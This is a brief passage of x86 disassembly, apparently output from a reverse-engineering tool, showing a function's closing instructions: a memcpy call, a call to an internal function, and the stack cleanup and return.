lea eax, [ebp - 0xf]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x18
lea eax, [ebp - 0x14]
mov ecx, edi
push 9
push eax
call fcn.0040b4b2
pop edi
pop esi
pop ebx
leave
ret 8